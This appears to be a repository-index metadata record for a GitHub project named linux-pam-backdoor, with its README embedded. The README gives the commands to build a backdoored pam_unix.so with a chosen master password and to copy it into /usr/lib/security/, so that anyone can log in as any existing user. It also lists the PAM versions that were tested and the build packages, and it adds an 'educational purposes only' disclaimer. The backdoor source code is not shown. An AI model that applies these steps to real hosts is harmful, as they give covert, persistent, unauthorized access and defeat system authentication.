{"id":25406234,"url":"https://github.com/segmentati0nf4ult/linux-pam-backdoor","last_synced_at":"2025-10-31T02:30:27.672Z","repository":{"id":44390596,"uuid":"93792452","full_name":"segmentati0nf4ult/linux-pam-backdoor","owner":"segmentati0nf4ult","description":"Linux PAM Backdoor","archived":false,"fork":false,"pushed_at":"2023-11-13T11:29:44.000Z","size":7,"stargazers_count":319,"open_issues_count":0,"forks_count":82,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-01-14T07:47:11.448Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/segmentati0nf4ult.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2017-06-08T21:14:34.000Z","updated_at":"2025-01-08T19:18:50.000Z","dependencies_parsed_at":"2024-02-21T10:58:41.462Z","dependency_job_id":null,"html_url":"https://github.com/segmentati0nf4ult/linux-pam-backdoor","commit_stats":null,"previous_names":["segmentati0nf4ult/linux-pam-backdoor"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/segmentati0nf4ult%2Flinux-pam-backdoor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/segmentati0nf4ult%2Flinux-pam-backdoor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/segmentati0nf4ult%2Flinux-pam-backdoor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/segmentati0nf4ult%2Flinux-pam-backdoor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/segmentati0nf4ult","download_url":"https://codeload.github.com/segmentati0nf4ult/linux-pam-backdoor/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":239088421,"owners_count":19579442,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-02-16T05:11:28.935Z","updated_at":"2025-10-31T02:30:27.303Z","avatar_url":"https://github.com/segmentati0nf4ult.png","language":"Shell","funding_links":[],"categories":["Shell"],"sub_categories":[],"readme":"# linux-pam-backdoor         \nLinux PAM Backdoor           \n                             \nThis script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)\n\n## Usage\nTo generate the backdoored pam_unix.so, just run:\n```\n./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd\n```\n\nYou have to identify the PAM version installed on the system, to make sure the script will compile the right version. Otherwise you can break the whole system authentication.\n\nAfter the execution of the script, the last step is to copy the generated pam_unix.so to the pam modules dir on the host. \n\n```\ncp pam_unix.so /usr/lib/security/\n```\n\nThat's all. \n\nAfter that, you can log-in to the system using an existing user, and the previously configured password.\n\nUse this for educational purposes only.\nI am not responsible for the damage you might cause.\n\n## Dependencies \n\nTested with Ubuntu 20.04: \n* 1.1.8 and older: failed to compile\n* 1.2.0: worked\n* 1.3.0 to 1.4.0: worked\n\nThe following packages were used:\n```bash\napt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsegmentati0nf4ult%2Flinux-pam-backdoor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsegmentati0nf4ult%2Flinux-pam-backdoor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsegmentati0nf4ult%2Flinux-pam-backdoor/lists"}